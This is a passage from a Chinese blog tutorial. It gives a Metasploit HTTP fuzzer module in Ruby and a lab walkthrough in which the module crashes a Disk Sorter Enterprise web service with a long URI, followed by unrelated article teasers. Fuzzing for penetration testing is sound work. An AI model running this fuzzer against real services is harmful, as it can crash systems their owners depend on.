      'License' => MSF_LICENSE
    ))
    register_options([
      Opt::RPORT(80),
      OptInt.new("MAXLENGTH", [true, "Maximum string length", 20000] )
    ])
  end

  def get_request(uri='',opts={})
    @connected = false
    connect
    @connected = true
  
    sock.put("GET #{uri} HTTP/1.1\r\nHost: #{rhost}\r\n\r\n")
    sock.get_once(-1, 1)
  end

  def run
    last_req = nil
    error = nil
    count = 0
  
    1.upto(datastore['MAXLENGTH'].to_i) do |len|
      count += 1
      req = fuzzer_gen_string(len)
      uri = "/" + req
  
      if(count % 100 == 0)
        print_status("Fuzzing with iteration #{count} using reqing length #{len}")
      end
  
      begin
        r = get_request(uri,:timeout => 0.25)
      rescue ::Interrupt
        print_status("Exiting on interrupt: iteration #{count} using reqing length #{len}")
        raise $!
      rescue ::Exception => e
        error = e
      ensure
        disconnect
      end
  
      if(not @connected)
        if(last_req)
          print_status("The service may have crashed: iteration:#{count-1} len=#{len} uri=''#{last_req}'' error=#{error}")
        else
          print_status("#{error}")
        end
        return
      end
  
      last_req = req
    end
  end
  def make_http_uri_base
    datastore['URIBASE']
  end
end
# 工作原理

要使用模块,我们将它保存到~/.msf4/modules/auxiliary/fuzzers/http/http_fuzzer.rb,然后在msfconsole中加载它:

msf6 > use auxiliary/fuzzers/http/http_fuzzer 
msf6 auxiliary(fuzzers/http/http_fuzzer) > show options 

Module options (auxiliary/fuzzers/http/http_fuzzer):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   MAXLENGTH  20000            yes       Maximum string length
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)


View the full module info with the info, or info -d command.

msf6 auxiliary(fuzzers/http/http_fuzzer) > 

设置RHOSTS并运行它:

msf6 auxiliary(fuzzers/http/http_fuzzer) > set RHOSTS 192.168.91.141
RHOSTS => 192.168.91.141
msf6 auxiliary(fuzzers/http/http_fuzzer) > run
[*] Running module against 192.168.91.141

[*] 192.168.91.141:80 - Fuzzing with iteration 100 using reqing length 100
[*] 192.168.91.141:80 - Fuzzing with iteration 200 using reqing length 200
[*] 192.168.91.141:80 - Fuzzing with iteration 300 using reqing length 300
[*] 192.168.91.141:80 - Fuzzing with iteration 400 using reqing length 400
[*] 192.168.91.141:80 - Fuzzing with iteration 500 using reqing length 500
[*] 192.168.91.141:80 - Fuzzing with iteration 600 using reqing length 600
[*] 192.168.91.141:80 - Fuzzing with iteration 700 using reqing length 700
[*] 192.168.91.141:80 - Fuzzing with iteration 800 using reqing length 800
[*] 192.168.91.141:80 - Fuzzing with iteration 900 using reqing length 900
[*] 192.168.91.141:80 - Fuzzing with iteration 1000 using reqing length 1000
[*] 192.168.91.141:80 - Fuzzing with iteration 1100 using reqing length 1100
[*] 192.168.91.141:80 - Fuzzing with iteration 1200 using reqing length 1200
[*] 192.168.91.141:80 - Fuzzing with iteration 1300 using reqing length 1300
[*] 192.168.91.141:80 - Fuzzing with iteration 1400 using reqing length 1400
[*] 192.168.91.141:80 - Fuzzing with iteration 1500 using reqing length 1500
[*] 192.168.91.141:80 - The service may have crashed: iteration:1577 len=1578 uri=''XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'' error=The connection with (192.168.91.141:80) timed out.

非常棒,我们的fuzzer模块成功了,它能够让 Disk Sorter Enterprise 服务崩溃。这是使用 Metasploit 对软件进行fuzzing的一个简单演示。一般来说,我们不建议使用 Metasploit 作为大型软件的fuzzing平台,但在进行渗透测试时,框架中可用的fuzzer足以获得 PoC

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/899649.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【性能优化】安卓性能优化之CPU优化

【性能优化】安卓性能优化之CPU优化 CPU优化及常用工具原理与文章参考常用ADB常用原理、监控手段原理监控手段多线程并发解决耗时UI相关 常见场景排查CPU占用过高常用系统/开源分析工具AndroidStudio ProfilerSystraceBtracePerfettoTraceView和 Profile ANR相关ANR原理及常见场…

Android 图片相识度比较(pHash)

概述 在 Android 中&#xff0c;要比对两张 Bitmap 图片的相似度&#xff0c;常见的方法有基于像素差异、直方图比较、或者使用一些更高级的算法如 SSIM&#xff08;结构相似性&#xff09;和感知哈希&#xff08;pHash&#xff09;。 1. 基于像素的差异比较 可以逐像素比较…

Java基础-注解机制详解

文章目录 注解基础Java内置注解内置注解- Override内置注解 - Deprecated内置注解 - SuppressWarnings 元注解元注解 - Target元注解 - Retention & RetentionTarget元注解 - Documented元注解 - Inherited 注解与反射接口自定义注解 深入理解注解Java8提供了哪些新的注解&…

【React系列三】—React学习历程的分享

一、组件实例核心—Refs 通过定义 ref 属性可以给标签添加标识 字符串形式的Refs 这种形式已经不再推荐使用&#xff0c;官方不建议使用 https://zh-hans.legacy.reactjs.org/docs/refs-and-the-dom.html#legacy-api-string-refs 回调形式的Refs <script type"te…

nginx精讲

&#x1f939;‍♀️潜意识起点&#xff1a;个人主页 &#x1f399;座右铭&#xff1a;得之坦然&#xff0c;失之淡然。 &#x1f48e;擅长领域&#xff1a;前端 是的&#xff0c;我需要您的&#xff1a; &#x1f9e1;点赞❤️关注&#x1f499;收藏&#x1f49b; 是我持…

计算广告第三版pdf

需要该书pdf版本的同学点赞&#xff0c;私信我&#xff1a;

给哔哩哔哩bilibili电脑版做个手机遥控器

前言 bilibili电脑版可以在电脑屏幕上观看bilibili视频。然而&#xff0c;电脑版的bilibili不能通过手机控制视频翻页和调节音量&#xff0c;这意味着观看视频时需要一直坐在电脑旁边。那么&#xff0c;有没有办法制作一个手机遥控器来控制bilibili电脑版呢&#xff1f; 首先…

WPF MVVM模式实现DataGrid编辑

本文是一个MVVM模式开发的基础教程&#xff0c;完全手写实现&#xff0c;未借助三方框架&#xff0c;适用于初学者 要实现DataGrid的编辑&#xff0c;步骤如下&#xff1a; 1、创建两个窗口&#xff0c;第一个窗口用于显示DataGrid&#xff0c; 布局如下&#xff1a; 这个界…

(3) c++基本代码

main函数 main函数只有可执行程序才需要&#xff0c;如果是动态库等则无需main函数。 main函数标准的写法是 #include <iostream> using namspace std; int main(void) {// 业务代码return 0; } 当然以上代码只是最简单的案例&#xff0c;其中代表main函数值是int&#…

TypeScript中 元组、枚举enum、type

元组&#xff1a; let arr : [string, number] [hello, 3]; let arr2 : [number, boolean?] [44];//问号可选的let arr3 : [number, ...string[]] [34, a, b, c];//任意多个字符串&#xff0c;也可以没有 let arr4 : [number, ...string[]] [34]; 枚举&#xff1a; //e…

【C++进阶】之C++11的简单介绍(一)

&#x1f4c3;博客主页&#xff1a; 小镇敲码人 &#x1f49a;代码仓库&#xff0c;欢迎访问 &#x1f680; 欢迎关注&#xff1a;&#x1f44d;点赞 &#x1f442;&#x1f3fd;留言 &#x1f60d;收藏 &#x1f30f; 任尔江湖满血骨&#xff0c;我自踏雪寻梅香。 万千浮云遮碧…

【CSS、JS】监听transitionend多次触发的原因

现有代码如下&#xff0c;移入红色内容区域触发动画&#xff0c;监听动画触发&#xff0c;但是每次触发控制台会打印4次 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content…

低功耗4G模组采集温湿度传感器数据~ 超全教程!不会的小伙伴看这篇!

在物联网&#xff08;IoT&#xff09;快速发展的今天&#xff0c;温湿度传感器作为环境监测的重要设备&#xff0c;被广泛应用于农业、工业、智慧城市等领域。本文将详细介绍如何使用低功耗4G模组Air780E采集温湿度传感器数据并实现网页查看&#xff0c;帮助初学者快速上手。 一…

springboot汉妆养生会馆网站-计算机毕业设计源码96229

目录 摘要 Abstract 1 绪论 1.1选题背景 1.2研究意义 1.3系统开发目标 2相关技术介绍 2.1 Java编程语言 2.2 B/S模式 2.3 MySQL简介 2.4 SpringBoot框架 3.汉妆养生会馆网站的设计与实现系统分析 3.1 可行性分析 3.1.1技术可行性分析 3.1.2经济可行性分析 3.1.3…

canvas小蜘蛛

一. 效果 二. 代码 <!--* Author: error: error: git config user.name & please set dead value or install git && error: git config user.email & please set dead value or install git & please set dead value or install git* Date: 2024-10-2…

【视频混剪Demo】FFmpeg的使用【Windows】

#1024程序员节 | 征文# 目录 一、简介 二、音频素材页 2.1 功能描述 &#x1f449; 搜索 &#x1f449; 添加 &#x1f449; 删除 2.2 效果展示 2.3 代码实现 &#x1f449; 前端 &#x1f449; 后端 三、视频素材页 3.1 功能描述 &#x1f449; 搜索 &#x1…

【2024CANN训练营第二季】使用华为云体验AscendC_Sample仓算子运行

环境介绍 NPU&#xff1a;Ascend910B2 环境准备 创建Notebook 华为云选择&#xff1a;【控制台】-【ModelArts】 ModelArts主页选择【开发生产】-【开发空间】-【Notebook】 页面右上角选择【创建Notebook】 选择资源 主要参数 规格&#xff1a;Ascend: 1*ascend-snt…

微搭低代码学习1:不同页面传递值

这个系列逐渐学习低代码平台&#xff0c;补足因为技术栈不足带来的问题&#xff0c;同时借助低代码平台快速搭建成型的系统。 这个博客用来记录一个非常常见的操作&#xff0c;在两个页面/多个页面之间传递值 文章目录 1. 创建页面2. 添加逻辑主动跳转页逻辑设置数据接收页逻辑…

【数据结构与算法】之栈详解

栈&#xff08;Stack&#xff09;是一种基本的线性数据结构&#xff0c;遵循后进先出、先进后出的原则。本文将更详细地介绍栈的概念、特点、Java 实现以及应用场景。 1. 栈概念概述 想象一摞叠放的盘子&#xff0c;你只能从最上面取盘子&#xff0c;放盘子也只能放在最上面。…

html和css实现页面

任务4 html文件 任务5 htm文件 css文件 任务6 html文件 css文件 任务7 html文件 css文件